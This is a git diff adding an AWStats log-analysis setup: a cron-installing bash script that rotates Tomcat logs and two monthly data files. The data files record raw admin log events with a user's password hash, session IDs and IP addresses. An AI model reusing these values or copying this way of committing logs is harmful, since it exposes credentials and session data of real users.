purge data arrays with +# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)); +# Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url]) +# Define PageBool and extension +# Analyze: Misc tracker --> complete %misc +# Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere) +# If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2 +# If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3 +# If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4 +# If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5 +# If (!countedtraffic) Analyze: File types - Compression +# If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo +# If (!countedtraffic) Analyze: Login +# If (!countedtraffic) Do DNS Lookup +# If (!countedtraffic) Analyze: Country +# If (!countedtraffic) Analyze: Host - Url - Session +# If (!countedtraffic) Analyze: Browser - OS +# If (!countedtraffic) Analyze: Referer +# If (!countedtraffic) Analyze: EMail +# Analyze: Cluster +# Analyze: Extra (must be after 'Define a clean Url and Query') +# If too many records, we flush data arrays with +# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)); +# End of loop +# +# Create/update tmp file +# Seek to lastlineoffset in logfile to read and get last line into $_ +# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)) +# Rename all created tmp files +# End of 'update' +# +# &Init_HashArray() +# +# If 'output' +# Loop for each month of required year +# &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month) +# End of loop +# Show data arrays in HTML page +# html_end +# End of 'output' +#------------------------------------------------------- + +#------------------------------------------------------- +# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS +# Format /etc/hosts x.y.z.w hostname +# Format analog UT/60 x.y.z.w hostname +#------------------------------------------------------- + +#------------------------------------------------------- +# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits) +# +# 13.1.68.3 IPv4 (d.d.d.d) +# 0:0:0:0:0:0:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d) +# ::13.1.68.3 +# 0:0:0:0:0:FFFF:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d) +# ::FFFF:13.1.68.3 IPv6 +# +# 1070:0:0:0:0:800:200C:417B IPv6 +# 1070:0:0:0:0:800:200C:417B IPv6 +# 1070::800:200C:417B IPv6 +#------------------------------------------------------- diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.sh b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.sh new file mode 100755 index 0000000..62f3e92 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.sh @@ -0,0 +1,46 @@ +#!/bin/bash + +# Funtion: Generate all the report pages + +# This folder should be updated on *.conf" files +FOLDER="/var/lib/tomcat7/webapps/estacaojuventude/monitoramento" +HOME="/root/monitoramento-ej/wwwroot/cgi-bin" + +if [ ! -d "$FOLDER" ]; then + mkdir "$FOLDER" + cp -r "$HOME/icon" "$FOLDER" +fi + +# Rollover logs +DATE=`date +%F --date="yesterday"` +LOGS="/var/lib/tomcat7/other_logs" +if [ ! -e "$LOGS/method.$DATE.txt" ]; then + cat $LOGS/method > $LOGS/method.$DATE.txt + echo "" > $LOGS/method + chown tomcat7:tomcat7 $LOGS/method.$DATE.txt +fi +if [ ! -e "$LOGS/id.$DATE.txt" ]; then + cat $LOGS/id > $LOGS/id.$DATE.txt + echo "" > $LOGS/id + chown tomcat7:tomcat7 $LOGS/id.$DATE.txt +fi +if [ ! -e "$LOGS/login.$DATE.txt" ]; then + cat $LOGS/login > $LOGS/login.$DATE.txt + echo "" > $LOGS/login + chown tomcat7:tomcat7 $LOGS/login.$DATE.txt +fi + +# Updates the database +perl $HOME/awstats.pl -config=observatorio -update -debug=9 -showsteps -showcorrupted -showdropped -showunknownorigin -showdirectorigin > $HOME/observatorio.out +perl $HOME/awstats.pl -config=extra -update -debug=9 -showsteps -showcorrupted -showdropped -showunknownorigin -showdirectorigin > $HOME/extra.out + +# Generate HTML pages +$HOME/generate.sh $FOLDER $HOME> $FOLDER/index.html + +HOUR=$(( $RANDOM % 9+1 )) + +CRON="$(printf "* ${HOUR} * * * $HOME/awstats.sh &> $HOME/errors.txt\n")" + +if test "$(crontab -l)" != "${CRON}"; then + printf "${CRON}\n" | crontab - || return 1 +fi diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.extra.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.extra.txt new file mode 100644 index 0000000..458ce9b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.extra.txt @@ -0,0 +1,259 @@ +AWSTATS DATA FILE 7.2 (build 1.992) +# If you remove this file, all statistics for date 201406 will be lost/reset. +# Last config file used to build this data file was /root/monitoramento-ej/wwwroot/cgi-bin/awstats.extra.conf. + +# Position (offset in bytes) in this file for beginning of each section for +# direct I/O access. If you made changes somewhere in this file, you should +# also remove completely the MAP section (AWStats will rewrite it at next +# update). +BEGIN_MAP 29 +POS_GENERAL 2077 +POS_TIME 2736 +POS_VISITOR 6654 +POS_DAY 13020 +POS_DOMAIN 3213 +POS_LOGIN 3433 +POS_ROBOT 3588 +POS_WORMS 3720 +POS_EMAILSENDER 3851 +POS_EMAILRECEIVER 3994 +POS_SESSION 13110 +POS_SIDER 13256 +POS_FILETYPES 4129 +POS_DOWNLOADS 4209 +POS_OS 4257 +POS_BROWSER 4334 +POS_SCREENSIZE 4396 +POS_UNKNOWNREFERER 4470 +POS_UNKNOWNREFERERBROWSER 4557 +POS_ORIGIN 4639 +POS_SEREFERRALS 4769 +POS_PAGEREFS 4913 +POS_SEARCHWORDS 5061 +POS_KEYWORDS 5213 +POS_MISC 2400 +POS_ERRORS 5272 +POS_CLUSTER 3289 +POS_SIDER_404 5347 +POS_EXTRA_1 5473 +POS_EXTRA_2 6321 +END_MAP + +# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value +# FirstTime = Date of first visit for history file +# LastTime = Date of last visit for history file +# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped +# TotalVisits = Number of visits +# TotalUnique = Number of unique visitors +# MonthHostsKnown = Number of hosts known +# MonthHostsUnKnown = Number of hosts unknown +BEGIN_GENERAL 8 +LastLine 20140627182255 2 2 0 +FirstTime 20140626154920 +LastTime 20140627182255 +LastUpdate 20140630090002 2 0 0 0 0 +TotalVisits 9 +TotalUnique 9 +MonthHostsKnown 9 +MonthHostsUnknown 0 +END_GENERAL + +# Misc ID - Pages - Hits - Bandwidth +BEGIN_MISC 10 +QuickTimeSupport 0 0 0 +JavaEnabled 0 0 0 +JavascriptDisabled 0 0 0 +PDFSupport 0 0 0 +WindowsMediaPlayerSupport 0 0 0 +AddToFavourites 0 0 0 +RealPlayerSupport 0 0 0 +TotalMisc 0 0 0 +DirectorSupport 0 0 0 +FlashSupport 0 0 0 +END_MISC + +# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth +BEGIN_TIME 24 +0 3 3 0 0 0 0 +1 0 0 0 0 0 0 +2 0 0 0 0 0 0 +3 0 0 0 0 0 0 +4 0 0 0 0 0 0 +5 0 0 0 0 0 0 +6 0 0 0 0 0 0 +7 0 0 0 0 0 0 +8 0 0 0 0 0 0 +9 0 0 0 0 0 0 +10 0 0 0 0 0 0 +11 0 0 0 0 0 0 +12 0 0 0 0 0 0 +13 0 0 0 0 0 0 +14 0 0 0 0 0 0 +15 4 4 0 0 0 0 +16 1 1 0 0 0 0 +17 0 0 0 0 0 0 +18 1 1 0 0 0 0 +19 0 0 0 0 0 0 +20 0 0 0 0 0 0 +21 0 0 0 0 0 0 +22 0 0 0 0 0 0 +23 0 0 0 0 0 0 +END_TIME + +# Domain - Pages - Hits - Bandwidth +# The 10 first Pages must be first (order not required for others) +BEGIN_DOMAIN 1 +ip 9 9 0 +END_DOMAIN + +# Cluster ID - Pages - Hits - Bandwidth +BEGIN_CLUSTER 0 +END_CLUSTER + +# Login - Pages - Hits - Bandwidth - Last visit +# The 10 first Pages must be first (order not required for others) +BEGIN_LOGIN 0 +END_LOGIN + +# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt +# The 10 first Hits must be first (order not required for others) +BEGIN_ROBOT 0 +END_ROBOT + +# Worm ID - Hits - Bandwidth - Last visit +# The 5 first Hits must be first (order not required for others) +BEGIN_WORMS 0 +END_WORMS + +# EMail - Hits - Bandwidth - Last visit +# The 20 first Hits must be first (order not required for others) +BEGIN_EMAILSENDER 0 +END_EMAILSENDER + +# EMail - Hits - Bandwidth - Last visit +# The 20 first hits must be first (order not required for others) +BEGIN_EMAILRECEIVER 0 +END_EMAILRECEIVER + +# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression +BEGIN_FILETYPES 1 +Unknown 9 0 0 0 +END_FILETYPES + +# Downloads - Hits - Bandwidth +BEGIN_DOWNLOADS 0 +END_DOWNLOADS + +# OS ID - Hits +BEGIN_OS ID - Hits - Pages 1 +Unknown 9 9 +END_OS + +# Browser ID - Hits - Pages +BEGIN_BROWSER 1 +Unknown 9 9 +END_BROWSER + +# Screen size - Hits +BEGIN_SCREENSIZE 0 +END_SCREENSIZE + +# Unknown referer OS - Last visit date +BEGIN_UNKNOWNREFERER 0 +END_UNKNOWNREFERER + +# Unknown referer Browser - Last visit date +BEGIN_UNKNOWNREFERERBROWSER 0 +END_UNKNOWNREFERERBROWSER + +# Origin - Pages - Hits +BEGIN_ORIGIN 6 +From0 0 0 +From1 9 9 +From2 0 0 +From3 0 0 +From4 0 0 +From5 0 0 +END_ORIGIN + +# Search engine referers ID - Pages - Hits +BEGIN_SEREFERRALS 0 +END_SEREFERRALS + +# External page referers - Pages - Hits +# The 10 first Pages must be first (order not required for others) +BEGIN_PAGEREFS 0 +END_PAGEREFS + +# Search keyphrases - Number of search +# The 10 first number of search must be first (order not required for others) +BEGIN_SEARCHWORDS 0 +END_SEARCHWORDS + +# Search keywords - Number of search +# The 10 first number of search must be first (order not required for others) +BEGIN_KEYWORDS 0 +END_KEYWORDS + +# Errors - Hits - Bandwidth +BEGIN_ERRORS 0 +END_ERRORS + +# URL with 404 errors - Hits - Last URL referer +BEGIN_SIDER_404 0 +END_SIDER_404 + +# Extra key - Pages - Hits - Bandwidth - Last access +# The 20 first number of hits are first +BEGIN_EXTRA_1 4 +admin.Programa. 1 1 0 20140627002449 +admin.Usuario.349.ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=0,%20permissao=Usuario. 1 1 0 20140626154920 +admin.Usuario.349.ultimaAlteracao=2014-06-26,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario. 1 1 0 20140626155116 +admin.Usuario.349.ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario. 1 1 0 20140626154949 +END_EXTRA_1 + +# Extra key - Pages - Hits - Bandwidth - Last access +# The 20 first number of hits are first +BEGIN_EXTRA_2 1 +admin. 5 5 0 20140627182255 +END_EXTRA_2 + +# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit] +# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished +# The 10 first Hits must be first (order not required for others) +BEGIN_VISITOR 9 +publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[usuario]%20client=[200.17.202.11]%20method=[inserção]%20servlet=[participatorio]%20session=[913549e57e1a558895f231276bb5c56a]%20user=[admin]%20time=[232ms]%20status=[ok]%20id=349%202014-06-26%2015:49:48%20{ultimaalteracao=thu%20jun%2026%2015:49:48%20utc%202014,%20nome=usuarioteste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=0,%20permissao=usuario} 1 1 0 20140626154920 +publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[usuario]%20client=[200.17.202.11]%20method=[exclusão]%20servlet=[participatorio]%20session=[913549e57e1a558895f231276bb5c56a]%20user=[admin]%20time=[408ms]%20status=[ok]%20id=349%202014-06-26%2015:51:16%20{ultimaalteracao=2014-06-26,%20nome=usuarioteste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=usuario} 1 1 0 20140626155116 +authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%20feef32714bb690a6ca30aceab75ba178%20granted%20authorities:%20administrador 1 1 0 20140626162127 +publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[usuario]%20client=[200.17.202.11]%20method=[alteração]%20servlet=[participatorio]%20session=[913549e57e1a558895f231276bb5c56a]%20user=[admin]%20time=[1124ms]%20status=[ok]%20id=349%202014-06-26%2015:49:48%20{ultimaalteracao=thu%20jun%2026%2015:49:48%20utc%202014,%20nome=usuarioteste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=usuario} 1 1 0 20140626154949 +authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%2010.254.225.12%20sessionid:%2045547e2b87dc3ef8aca996be5793f6ff%20granted%20authorities:%20administrador 1 1 0 20140627182255 20140627182255 Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%2010.254.225.12%20SessionId:%2045547E2B87DC3EF8ACA996BE5793F6FF%20Granted%20Authorities:%20Administrador +authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%204704abdaafa0a080004814f1d6842804%20granted%20authorities:%20administrador 1 1 0 20140626151251 +authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%20becba66b893768c2f8de06b3bee96c37%20granted%20authorities:%20administrador 1 1 0 20140627002406 +authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%20b5522958bbf228e070db72b05e474d44%20granted%20authorities:%20administrador 1 1 0 20140627002501 +publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[programa]%20client=[200.17.202.11]%20method=[exclusão]%20servlet=[participatorio]%20session=[40a3d1bfe967829881de9bfc91c7d081]%20user=[admin]%20time=[163ms]%20status=[ok]%20 1 1 0 20140627002449 +END_VISITOR + +# Date - Pages - Hits - Bandwidth - Visits +BEGIN_DAY 2 +20140626 5 5 0 5 +20140627 4 4 0 4 +END_DAY + +# Session range - Number of visits +BEGIN_SESSION 1 +0s-30s 8 +END_SESSION + +# URL - Pages - Bandwidth - Entry - Exit +# The 10 first Pages must be first (order not required for others) +BEGIN_SIDER 9 +Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Usuario]%20client=[200.17.202.11]%20method=[Inserção]%20servlet=[participatorio]%20session=[913549E57E1A558895F231276BB5C56A]%20user=[admin]%20time=[232ms]%20status=[OK]%20id=349%202014-06-26%2015:49:48%20{ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=0,%20permissao=Usuario} 1 0 1 1 +Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%20BECBA66B893768C2F8DE06B3BEE96C37%20Granted%20Authorities:%20Administrador 1 0 1 1 +Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%2010.254.225.12%20SessionId:%2045547E2B87DC3EF8ACA996BE5793F6FF%20Granted%20Authorities:%20Administrador 1 0 1 0 +Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%204704ABDAAFA0A080004814F1D6842804%20Granted%20Authorities:%20Administrador 1 0 1 1 +Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Usuario]%20client=[200.17.202.11]%20method=[Exclusão]%20servlet=[participatorio]%20session=[913549E57E1A558895F231276BB5C56A]%20user=[admin]%20time=[408ms]%20status=[OK]%20id=349%202014-06-26%2015:51:16%20{ultimaAlteracao=2014-06-26,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario} 1 0 1 1 +Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Programa]%20client=[200.17.202.11]%20method=[Exclusão]%20servlet=[participatorio]%20session=[40A3D1BFE967829881DE9BFC91C7D081]%20user=[admin]%20time=[163ms]%20status=[OK]%20 1 0 1 1 +Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%20B5522958BBF228E070DB72B05E474D44%20Granted%20Authorities:%20Administrador 1 0 1 1 +Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Usuario]%20client=[200.17.202.11]%20method=[Alteração]%20servlet=[participatorio]%20session=[913549E57E1A558895F231276BB5C56A]%20user=[admin]%20time=[1124ms]%20status=[OK]%20id=349%202014-06-26%2015:49:48%20{ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario} 1 0 1 1 +Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%20FEEF32714BB690A6CA30ACEAB75BA178%20Granted%20Authorities:%20Administrador 1 0 1 1 +END_SIDER diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.observatorio.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.observatorio.txt new file mode 100644 index 0000000..ab82544 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.observatorio.txt @@ -0,0 +1,291 @@ +AWSTATS DATA FILE 7.2 (build 1.992) +# If you remove this file, all statistics for date 201406 will be lost/reset. +# Last config file used to build this data file was /root/monitoramento-ej/wwwroot/cgi-bin/awstats.observatorio.conf. + +# Position (offset in bytes) in this file for beginning of each section for +# direct I/O access. If you made changes somewhere in this file, you should +# also remove completely the MAP section (AWStats will rewrite it at next +# update). +BEGIN_MAP 27 +POS_GENERAL 2018 +POS_TIME 2696 +POS_VISITOR 8227 +POS_DAY 8453 +POS_DOMAIN 3218 +POS_LOGIN 3447 +POS_ROBOT 3602 +POS_WORMS 3734 +POS_EMAILSENDER 3865 +POS_EMAILRECEIVER 4008 +POS_SESSION 8559 +POS_SIDER 8714 +POS_FILETYPES 4143 +POS_DOWNLOADS 4311 +POS_OS 4359 +POS_BROWSER 4437 +POS_SCREENSIZE 4524 +POS_UNKNOWNREFERER 4598 +POS_UNKNOWNREFERERBROWSER 4685 +POS_ORIGIN 4767 +POS_SEREFERRALS 4900 +POS_PAGEREFS 5044 +POS_SEARCHWORDS 6707 +POS_KEYWORDS 6859 +POS_MISC 2360 +POS_ERRORS 6918 +POS_CLUSTER 3303 +POS_SIDER_404 7025 +END_MAP + +# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value +# FirstTime = Date of first visit for history file +# LastTime = Date of last visit for history file +# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped +# TotalVisits = Number of visits +# TotalUnique = Number of unique visitors +# MonthHostsKnown = Number of hosts known +# MonthHostsUnKnown = Number of hosts unknown +BEGIN_GENERAL 8 +LastLine 20140627190530 118 32291 22468909691325 +FirstTime 20140626151242 +LastTime 20140627190529 +LastUpdate 20140628060002 0 0 0 0 0 +TotalVisits 3 +TotalUnique 2 +MonthHostsKnown 0 +MonthHostsUnknown 2 +END_GENERAL + +# Misc ID - Pages - Hits - Bandwidth +BEGIN_MISC 10 +QuickTimeSupport 0 0 0 +JavaEnabled 0 0 0 +JavascriptDisabled 0 0 0 +PDFSupport 0 0 0 +WindowsMediaPlayerSupport 0 0 0 +AddToFavourites 0 1 0 +RealPlayerSupport 0 0 0 +TotalMisc 0 0 0 +DirectorSupport 0 0 0 +FlashSupport 0 0 0 +END_MISC + +# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth +BEGIN_TIME 24 +0 40 45 652135 9 27 34884 +1 0 0 0 0 0 0 +2 0 0 0 0 0 0 +3 0 0 0 0 0 0 +4 0 0 0 0 0 0 +5 0 0 0 0 0 0 +6 0 0 0 0 0 0 +7 0 0 0 0 0 0 +8 0 0 0 0 0 0 +9 0 0 0 0 0 0 +10 0 0 0 0 0 0 +11 0 0 0 0 0 0 +12 0 0 0 0 0 0 +13 0 0 0 0 0 0 +14 0 0 0 0 0 0 +15 18 105 507453 6 21 28103 +16 2 2 9187 3 3 0 +17 0 0 0 0 0 0 +18 4 30 553063 2 7 9158 +19 3 3 45743 0 6 11628 +20 0 0 0 0 0 0 +21 0 0 0 0 0 0 +22 0 0 0 0 0 0 +23 0 0 0 0 0 0 +END_TIME + +# Domain - Pages - Hits - Bandwidth +# The 10 first Pages must be first (order not required for others) +BEGIN_DOMAIN 1 +ip 67 185 1767581 +END_DOMAIN + +# Cluster ID - Pages - Hits - Bandwidth +BEGIN_CLUSTER 0 +END_CLUSTER + +# Login - Pages - Hits - Bandwidth - Last visit +# The 10 first Pages must be first (order not required for others) +BEGIN_LOGIN 0 +END_LOGIN + +# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt +# The 10 first Hits must be first (order not required for others) +BEGIN_ROBOT 0 +END_ROBOT + +# Worm ID - Hits - Bandwidth - Last visit +# The 5 first Hits must be first (order not required for others) +BEGIN_WORMS 0 +END_WORMS + +# EMail - Hits - Bandwidth - Last visit +# The 20 first Hits must be first (order not required for others) +BEGIN_EMAILSENDER 0 +END_EMAILSENDER + +# EMail - Hits - Bandwidth - Last visit +# The 20 first hits must be first (order not required for others) +BEGIN_EMAILRECEIVER 0 +END_EMAILRECEIVER + +# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression +BEGIN_FILETYPES 6 +php 6 114506 0 0 +css 9 87040 0 0 +png 71 39250 0 0 +js 32 518475 0 0 +Unknown 61 1008116 0 0 +gif 6 194 0 0 +END_FILETYPES + +# Downloads - Hits - Bandwidth +BEGIN_DOWNLOADS 0 +END_DOWNLOADS + +# OS ID - Hits +BEGIN_OS ID - Hits - Pages 1 +linux 185 67 +END_OS + +# Browser ID - Hits - Pages +BEGIN_BROWSER 2 +firefox29.0 140 27 +firefox30.0 45 40 +END_BROWSER + +# Screen size - Hits +BEGIN_SCREENSIZE 0 +END_SCREENSIZE + +# Unknown referer OS - Last visit date +BEGIN_UNKNOWNREFERER 0 +END_UNKNOWNREFERER + +# Unknown referer Browser - Last visit date +BEGIN_UNKNOWNREFERERBROWSER 0 +END_UNKNOWNREFERERBROWSER + +# Origin - Pages - Hits +BEGIN_ORIGIN 6 +From0 4 4 +From1 0 0 +From2 0 0 +From3 63 181 +From4 0 0 +From5 0 0 +END_ORIGIN + +# Search engine referers ID - Pages - Hits +BEGIN_SEREFERRALS 0 +END_SEREFERRALS + +# External page referers - Pages - Hits +# The 10 first Pages must be first (order not required for others) +BEGIN_PAGEREFS 21 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/orgaoexecutores 8 8 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/login 8 29 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/ocorrenciamunicipais 7 7 